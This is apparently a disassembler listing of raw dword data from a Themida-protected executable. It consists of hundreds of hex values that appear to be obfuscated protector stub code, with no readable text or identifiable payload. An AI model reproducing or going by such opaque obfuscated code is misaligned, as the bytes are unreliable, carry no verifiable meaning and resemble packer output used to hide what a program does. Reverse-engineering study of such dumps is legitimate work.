		dd 5C895BC3h, 44810424h, 190424h, 53430000h, 84235FC3h
		dd 0F83D1E8h, 68Ch, 9DBD8B00h, 2906292Ah, 292781B5h, 915E806h
		dd 8C0F0000h, 12h, 0BE952h, 0A6F50000h,	0DAD97C35h, 0BA6C47ADh
		dd 9D895FBEh, 6292975h,	35458589h, 6A0629h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 3DD979C3h
		dd 38B3FB58h, 0C8E88312h, 0F000008h, 178Eh, 12E900h, 7FF0000h
		dd 9C8324C9h, 52B9F323h, 0A5464EA2h, 0BC1B3CC8h, 19DD8589h
		dd 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 0F64B81C3h, 0BF29093Ch, 135290E0h, 87AE8h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 89D2CA6Eh, 290FED85h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 1912FE3Ah
		dd 661F055Dh, 2CE8F88Bh, 6A000008h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0F8DFC357h
		dd 6094E22Bh, 95B4B951h, 8B5B2728h, 29315D85h, 0BF0F6106h
		dd 9BD8BCEh, 89062920h,	291F6D85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0D144A311h
		dd 2AD8BDA7h, 7C6E8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 0BEB18B32h, 4CD5D897h
		dd 68E0Fh, 8D290000h, 6291A9Dh,	0F718589h, 8B660629h, 789E8FBh
		dd 81660000h, 89D44CC7h, 291A9185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 423FB884h
		dd 75AE8h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0C91A03E1h, 0E8554051h, 9, 5B3B06E5h
		dd 45FE770Ah, 5FF88BDAh, 1A158589h, 0E0BE0629h,	0E8325499h
		dd 717h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	4CC35646h, 292ECA72h, 292035BDh, 0B5858906h, 6A062916h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 4832C357h, 0DF657620h, 0C4E859ABh, 0B000006h
		dd 2915D9BDh, 319D8906h, 8906290Ah, 292FD985h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BF0F59E3h, 68DE8CAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 71C479C3h, 42C22D49h
		dd 0C9BD8B03h, 89062911h, 2927A185h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 6820F35h, 89000000h
		dd 2925C595h, 0ECCABF06h, 2CE8482Ch, 81000006h,	0FC0FF4CEh
		dd 7D85897Fh, 6A06291Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 39C353h, 729BAC45h
		dd 6649AB6Fh, 681CD781h, 5F2E8h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0F17C4A7h
		dd 8589CEB7h, 62907A1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 58C35141h, 0CE4D0EB0h, 0E9816660h, 9D8BC862h
		dd 629003Dh, 599E861h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 0FDE3F1C3h, 3275B589h
		dd 85890629h, 62900E5h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 3DC35545h, 3D02FD7Eh,	0E8356433h, 547h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 79C35242h
		dd 886DA4F2h, 0E9D3FE5Dh, 13h, 6FECC0D0h, 0D4AD6905h, 77E27443h
		dd 4F0DD866h, 897996EBh, 291B0985h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 4E57A56Fh
		dd 524FFEA1h, 89BD2968h, 0E806290Eh, 7,	0F20C8C7Ch, 0E876B3B9h
		dd 0Dh,	72A31798h, 4B396DE7h, 72887CCEh, 84BF666Eh, 0E8595F4Ch
		dd 4B3h, 1FC3D0B9h, 4D858965h, 0F5062926h, 6A00B0h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0B40BC6C3h, 68F0F22h, 1000000h, 290E4DBDh, 0D8B60F06h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 12C35545h
		dd 5EFECEFDh, 3CED79CCh, 6BAFCh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0FA5D2CC3h
		dd 0BF0FFB3Dh, 0DB58BF2h, 8B062912h, 57006AC3h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0CC21EE45h
		dd 0E8C1FC2Ah, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8B96B030h, 291B11BDh
		dd 0E2F76606h, 104DB58Bh, 8B660629h, 8BD82BCFh,	292F7DB5h
		dd 6860F06h, 89000000h,	290FF18Dh, 0BF669306h, 8B502450h
		dd 8D2993F2h, 6290841h,	95FFCF8Bh, 6290EA1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 82C35141h, 9E9h
		dd 46C47800h, 26B9DFC3h, 895BA1D3h, 292FB1B5h, 21958D06h
		dd 6A06292Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 4DE9C356h, 6DF03C6Fh, 34058531h
		dd 1A890629h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 19h,	0C6C35545h, 17111103h, 0E5BD09F2h, 89062904h, 6A0442h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 2D3F89C3h, 16B9E0E8h, 8D4C71A7h, 2933E195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0F70ADBFCh, 8EA803CFh, 0B5B58BABh, 89062932h, 52006A1Ah
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0E0089377h, 11E908E0h, 0D000000h, 0B3C3BA8Bh, 0C94AE5E0h
		dd 741C27A1h, 0B679795h, 29044289h, 2912A59Dh, 0E1958D06h
		dd 6A06291Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0EE3FC350h, 8E36A33Bh,	0E1816669h
		dd 1A89E5A7h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0FEC35242h, 94C55664h, 6A044289h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 2360C350h
		dd 72107AD7h, 91958DC6h, 6A062907h, 3E85600h, 20000000h
		dd 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 8FE2C356h, 6C3446AFh
		dd 0BE006AB1h, 5FB79B4Ch, 895FC180h, 6E91Ah, 5EEC0000h
		dd 0B413B912h, 6A044289h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0A46DC357h,	8DE5EC96h
		dd 29315595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8BF91C1Ah, 6A1A89F8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 36DBC355h
		dd 2FBE66D6h, 44289E2h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 8CC35545h, 0A80BFADBh, 5DDAE9E6h, 35958DC8h
		dd 6A06290Dh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 3202C353h, 1DAD6849h, 89E58AD8h
		dd 51006A1Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 0E51D28AAh, 2FF8A325h, 8C0FF498h, 1, 44289F9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DC35646h
		dd 175899C5h, 8B665563h, 79958DFEh, 6A062934h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 66EC353h, 0D3676FBEh, 66582490h, 89C966B9h, 0D58D8B1Ah
		dd 8906291Fh, 6A0442h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66598DC3h, 0B58BCE8Bh, 6291785h
		dd 10E5958Dh, 6A0629h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 0BF66AEC3h, 0EE93775h, 0F0000000h
		dd 0AEAC62D0h, 4B415853h, 6DDD4636h, 891A8967h,	0B58B0442h
		dd 6290CBDh, 0CCE9F5h, 6E80000h, 0BD000000h, 770932C2h
		dd 0C9EDBF37h, 6A597A1Eh, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0A50460F5h
		dd 6AEC8ADEh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 6672A9C9h, 0B58BF28Bh, 6291041h
		dd 8D29006Ah, 6292125h,	7E8h, 9F92FF00h, 0D583ABD9h, 5EC88B66h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0FB80A6C3h, 0EF0BBF66h, 2A7595FFh, 6A0629h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 13852EC3h, 6D3FC9C0h, 0F4A57C1h, 0FC3F7B7h, 0C58ACEB7h
		dd 0BCE9C681h, 8B5656EFh, 290745B5h, 0C08B5F06h, 1CF78166h
		dd 9DBD83E8h, 62930h, 0BD830975h, 6290075h, 50197400h
		dd 0B8C08B53h, 438h, 0DA18589h,	9D8D0629h, 62BAB09h, 585BD3FFh
		dd 75BD83h, 74000629h, 0B8535017h, 438h, 0DA18589h, 9D8D0629h
		dd 62BA7AAh, 585BD3FFh,	1FFDBD8Bh, 8D8B0629h, 6292A5Dh
		dd 241AEE81h, 0C08B73D3h, 1425858Dh, 0B5010629h, 6293345h
		dd 89FA8B50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 58804DC3h, 2D76F864h, 850144B9h
		dd 62932A9h, 0E7DF8052h, 6A006A5Fh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 30D7C352h
		dd 0B70972A5h, 0D235D49Fh, 68B0Fh, 8D890000h, 6290E7Dh
		dd 0F0B70F60h, 6C19D8Bh, 6A610629h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 1662E221h
		dd 0E81C2FDCh, 7, 0EC583849h, 6695A127h, 8942CB81h, 96858D5Bh
		dd 0F062D4Bh, 0C083F9B7h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 9983CF77h
		dd 7563F7FEh, 0B810Fh, 6E90000h, 6E000000h, 7E800327h
		dd 0B9BD8B4Ah, 5006290Dh, 5E860h, 0D37A0000h, 0E84949B5h
		dd 14h,	38DCD926h, 0FBE44775h, 53B45A6Fh, 2417C33Eh, 0B93D0081h
		dd 0BE66585Eh, 8961CD7Eh, 6A2404h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h
dword_58C468	dd 496A40C3h, 0BF66E730h, 9501A5C1h, 629255Dh, 6A006Ah
					; DATA XREF: Themida_:off_551FD5o
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 3C76F9C3h, 13E9h, 3848BA00h,	8AEB3D1h, 0B17AAE35h, 5681188h
		dd 221411BCh, 0B1EF8166h, 6A006AD1h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0C497C355h
		dd 0ED95FF07h, 6A06290Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 45D0C351h, 0F842497Ch
		dd 2FAC39B4h, 98088D8Dh, 0BF0F062Ch, 8BD1FFD9h,	29BD83FBh
		dd 106291Ah, 4C850Fh, 12E90000h, 0F7000000h, 0D62EC638h
		dd 0AF936CEEh, 54B2A13Ah, 0D82538ACh, 66026A82h, 65D9E781h
		dd 6A905090h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0CD0BC351h, 9519D31h, 95FF0629h
		dd 6293031h, 30E9D98Ah,	0E800000Eh, 0
		dd 0A0ED815Dh, 6A062D4Bh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 6904C355h, 0D026640Eh
		dd 25BB6618h, 55006A2Fh, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0BE071E60h, 91B0858Dh, 8B0F062Ch
		dd 0
		dd 0FA8B6650h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F87DC355h,	35FF64h
		dd 0E8000000h, 5, 682FC8FEh, 0AE803h, 0BD200000h, 0C3F8C7ABh
		dd 8666DDE9h, 55005ABBh, 645B5F11h, 2589h, 8B660000h, 319D89FEh
		dd 0FF06292Ch, 292A1585h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 63DA751h, 35858943h
		dd 6A06290Eh, 0C4E381FFh, 0FF36CDCFh, 290FF5B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 71B7C530h, 25BBBF66h, 275595FFh, 36E90629h, 0F000001h
		dd 128Eh, 0DE900h, 0FF1E0000h, 0E42A3A9Eh, 58B46BCh, 2909C57Dh
		dd 29287DB5h, 8A00B006h, 6670E6F8h, 71E4DE8Bh, 830F613Ch
		dd 105h, 10E9h,	3380AE00h, 12AD67D9h, 0B6A0A626h, 0FB9A9C0Ch
		dd 0C8B60F75h, 8E9h, 39B54300h,	7F84B43h, 6BAE8h, 9D8B0000h
		dd 6293039h, 0BD8BC18Bh, 62910BDh, 8B04E8C1h, 2914BD9Dh
		dd 0E2F76606h, 0FC82BF5h, 68Eh,	91BD8B00h, 8B06292Eh, 0EDBD8BD1h
		dd 0E906292Ch, 12h, 6850Fh, 0BD8B0000h,	6292E51h, 3495B589h
		dd 858B0629h, 6292C21h,	0F688BB66h, 6607C083h, 831C8ABBh
		dd 11E900C0h, 8A000000h, 5379FA11h, 0ACC38D6Dh,	0D8293EF9h
		dd 0AE9993F6h, 830FD03Bh, 17h, 0AC1BD8Bh, 56E90629h, 0F000000h
		dd 681h, 8DBD0300h, 8B062900h, 2925418Dh, 0BE806h, 0E8000000h
		dd 0BA725CFDh, 0C0D6F8C4h, 0FD8D29B2h, 5F062908h, 0F01E183h
		dd 2484h, 0A5BD3300h, 8306292Ch, 292541A5h, 9D31FE06h
		dd 6293079h, 2C219589h,	9D030629h, 6291799h, 0E9h, 15B58D00h
		dd 6A062CD7h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0C0A7C350h, 0EF8CCD1Dh, 6A006A92h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 8C5DC353h, 0FA8B669Fh, 29C18589h,	95FF0629h
		dd 6290591h, 6E9B9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8BD3C75Ch, 290CFDBDh
		dd 0FCE18306h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	1C35646h, 0F8987362h, 0E8FCEE4Ah, 12h, 6C8BDF05h
		dd 0DCBEF5BEh, 0AB9C4B37h, 4DEF2D64h, 0DE98DA5h, 0F3000000h
		dd 0BA98D58Ch, 0AC336552h, 3B910B89h, 66C02B5Fh, 2B8EC8BBh
		dd 9BD89D2h, 0AD06290Fh, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0ADC1C355h, 6AC0FCh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0FE8E05C3h, 0E860551Eh
		dd 10h,	0F0DDFB02h, 0F2BC1064h,	6610189h, 0E3D5397Fh, 10E9h
		dd 2ED4E200h, 6A3BC7B4h, 4B5EB7F2h, 54FEA495h, 800F5948h
		dd 6, 13E9BD8Bh, 0D610629h, 88h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0F1C35747h,	89DF5B4Eh, 291F7DB5h
		dd 81853106h, 8B062925h, 291E6D95h, 6E906h, 22950000h
		dd 911B7F18h, 2D818D8Bh, 9D890629h, 6290FCDh, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 72B4DBC3h
		dd 0BDCB8166h, 719D8B53h, 83062932h, 291331BDh,	840F0006h
		dd 8Dh,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h
		dd 4AC35343h, 60DF109Dh, 97BE52F9h, 595E1074h, 8830F61h
		dd 53000000h, 1BB99D89h, 0B85B0629h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0AEC35545h
		dd 8DFFBF0Fh, 294D6B8Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0D998FA76h, 0BF0F140Eh
		dd 89E1FFDEh, 29261D9Dh, 5BD8306h, 62920h, 422840Fh, 830F0000h
		dd 2, 0BD8356B3h, 6292005h, 28840F01h, 81000004h, 0EB7D93CBh
		dd 5BD836Fh, 3062920h, 3DF860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0A7E75CC3h
		dd 0A1B51BE3h, 0BD2B39DBh, 6292061h, 6A60FCh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 0C9A671C3h
		dd 0D98C6695h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0FCC35646h, 55FDE3F1h, 0F98B9BFEh, 0E804E180h
		dd 10h,	0E03B352Fh, 0C45D7E9Dh,	15A1A795h, 24BA5261h, 5BD98B66h
		dd 1F759529h, 0C90A0629h, 0FA840Fh, 9D8B0000h, 629238Dh
		dd 1885858Bh, 85890629h, 629304Dh, 0DED8533h, 6A0629h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 0BD0BE5C3h, 6290949h, 10E8h,	91A30C00h, 0D21D2F63h
		dd 0A238634Ch, 0BDA876Ch, 919D89C8h, 5F06292Eh,	0B7535650h
		dd 895B5BCEh, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 17C33EC3h, 9D8BF524h, 6292989h
		dd 8166006Ah, 68EDFEEFh, 0C4D87E59h, 0F0CABB66h, 0A6240481h
		dd 6A3B4685h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0E8D3C353h, 4D95FFF9h,	31062900h
		dd 292A7195h, 96858906h, 33062CC0h, 29120D9Dh, 1DEE906h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 0BB9EA8C3h, 4372C739h, 0C08E858Bh, 6A062Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 662257C3h, 8B0E36BBh, 292825BDh, 1800C706h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D9C5C353h, 0A357C31h, 6E9h, 1D53E900h, 664069EEh
		dd 0A7ABE381h, 8FDBD8Bh, 0B58B0629h, 62CC092h, 12E9h, 0D2907100h
		dd 4F618821h, 435AFC9Fh, 3A30C622h, 8B20CB4Ch, 292BC985h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0B94B423Ah, 0F9CCF9BAh, 0BB660689h, 805607D9h
		dd 8B5FEFEFh, 29188585h, 5D850906h, 89062932h, 0BD890446h
		dd 629258Dh, 48F0F96h, 66000000h, 503076BBh, 0C2B35250h
		dd 6E9310Fh, 32000000h,	3C5E6EB6h, 96585A51h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 84C35141h, 8F0F90h
		dd 0F9000000h, 0C08EB5FFh, 0B70F062Ch, 35AC68FBh, 8D0F37C3h
		dd 0Dh,	7E8h, 0E40EE900h, 0C7033C10h, 2434815Fh, 37DC3653h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 48C35747h
		dd 0C3CCB28h, 6980C482h, 0E81BD0Bh, 858D0629h, 62CC096h
		dd 4898501h, 0BB900629h, 4A7A76D2h, 10E950h, 49390000h
		dd 98E6A9E5h, 17C968F5h, 0E8F2F51Ah, 6A90C0BFh,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 988FC352h, 8AB95DBBh, 4D95FF4Ah, 0BF062900h,	592EAC1Ch
		dd 52006A61h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 69C902D1h, 200585C7h, 30629h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0A90AEDC3h, 699D8BFDh, 83062909h, 2CC096BDh,	840F0006h
		dd 31h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h
		dd 0DFC35141h, 1EF40E79h, 0D78166F3h, 21E90462h, 0F9000000h
		dd 55D38166h, 0C30501Fh, 11440011h, 10E8C101h, 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 6BC35040h, 1D449F67h,	6ADA8B66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 0F905C356h, 4B44CDC5h, 2ED4E2EBh, 0E7816650h, 835BF322h
		dd 292005BDh, 850F0306h, 487h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0CAC35545h,	331836D5h, 0BE951h
		dd 34DB0000h, 0BD0A79A3h, 5A3C799Dh, 96BD8303h,	62CC0h
		dd 449840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 8320DBC3h, 68B0Fh, 0BD890000h, 6292431h
		dd 9E8h, 0CBF60000h, 7040C6B2h,	0BD3330FFh, 62932C5h, 96B5FF5Fh
		dd 6A062CC0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 39CFC350h, 95FF2485h, 6290E79h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 8CC35646h
		dd 0EF8239F2h, 0BD893AA8h, 6291105h, 0C08AB58Bh, 8166062Ch
		dd 0C77B82EBh, 1000106h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1704h, 0C3534300h, 4396E534h, 0D9B53153h
		dd 5F062910h, 0E9525050h, 0Eh, 8DCECA12h, 0AD062F26h, 7B6CF6FBh
		dd 310FB861h, 41B9BB66h, 3489585Ah, 459D8924h, 0FF062911h
		dd 2CC096B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 9A0E27F3h, 29E034BBh, 2195FF6Dh
		dd 6A062907h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0F125C352h, 8BFC38AAh,	2CC08AB5h
		dd 9D958906h, 89062909h, 292035B5h, 79858B06h, 0E9062924h
		dd 12h,	8A03D168h, 0E79D8BBEh, 6E09FB5Eh, 8A1FC4EFh, 86890FB2h
		dd 0C4h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	17C35545h, 2BE96530h, 291F219Dh, 0DABF0F06h, 0AC1B589h
		dd 958B0629h, 6291E6Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 0EEC35040h, 0F4216E0h, 0BD29A1DEh, 6290779h
		dd 6A04C283h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 881C355h, 1D69950Eh, 0F5BD8BBCh
		dd 89062909h, 0EB812050h, 4AFCE6A2h, 0D465858Dh, 11E9062Ch
		dd 95000000h, 0BC28034Fh, 0EF6F762Ah, 0A3E041BFh, 7A370505h
		dd 0B88689h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0A9779BC3h, 0FA8B66C0h, 0BD8B006Ah
		dd 6292A69h, 0C096B5FFh, 6A062Ch, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 0FB8B13C3h, 95FFDF8Bh
		dd 6293031h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0CEC35343h, 2122D4C6h, 0C99589F8h, 96062924h, 0EEB8BB50h
		dd 2996491Ch
		dd 2927819Dh, 96B5FF06h, 6A062CC0h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F2AC357h
		dd 682h, 95BD8B00h, 3106290Ch, 293291B5h, 9595FF06h, 6606292Fh
		dd 1C5C381h, 11A9BD83h,	0F000629h, 4384h, 0ED958900h, 5006290Eh
		dd 0AE8h, 0D37FA000h, 4D6156E8h, 528AE8F7h, 310F5250h
		dd 5B5B585Ah, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 5B20C356h, 8499279h
		dd 0C096B5FFh, 6A062Ch,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 74BB42C3h, 52FDCEFAh, 0E380CC3Eh
		dd 0D8B70FEDh, 2D3595FFh, 6A0629h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0CA755DC3h, 0FFB126B7h
		dd 2CC096B5h, 13E906h, 0FEFF0000h, 830CEB1Dh, 58D2B144h
		dd 0D4974C26h, 0D38B448Dh, 595FF74h, 0E9062906h, 0Dh, 46BB64E9h
		dd 286687C8h, 101CA3A9h, 0BDBD8324h, 206290Ah, 63840Fh
		dd 5B510000h, 1829858Bh, 6A0629h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 668B24C3h, 5669EF81h
		dd 0FE9h, 4BDC9200h, 78F75D43h,	0D1CC3621h, 0ABCA311Fh
		dd 6A0000C6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 8BA2C355h, 29122DBDh, 5D85C706h
		dd 62906h, 0E9000000h, 0FFFFF2BBh, 8166C18Bh, 8DEC86D7h
		dd 29142585h, 0E850FC06h, 0Bh, 0B443945Eh, 84D1239Ah, 6001D176h
		dd 5F615857h, 89240489h, 29243195h, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 6A65C356h, 4B93BB00h, 858D5F5Fh, 62D5BFAh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 9EC35646h, 0D7F7AD4h
		dd 89F6B71Ch, 2916DD95h, 5C08306h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 78C35242h, 9E11864h, 0FBA081C4h
		dd 6800Fh, 85310000h, 6292771h,	6810Fh,	0B5890000h, 6293055h
		dd 0BF525090h, 56C56810h, 6A905Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 81E032C3h, 0AA1C0CF3h
		dd 6A006A5Fh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 382FC353h, 5127DC4Eh, 89F62476h
		dd 2915BD9Dh, 0D0BBF06h, 6A0E1Dh, 26DBF5BBh, 0DBD8918h
		dd 0FF062929h, 290CED95h, 0B5F78006h, 98088D8Dh, 6A062Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 12D6BAC3h, 8E983E1h,	0AD000000h, 0F5DD1EF6h,	0FF9D971Bh
		dd 50006AD1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0E4237F30h, 359D0351h, 5F062930h, 1A29BD83h
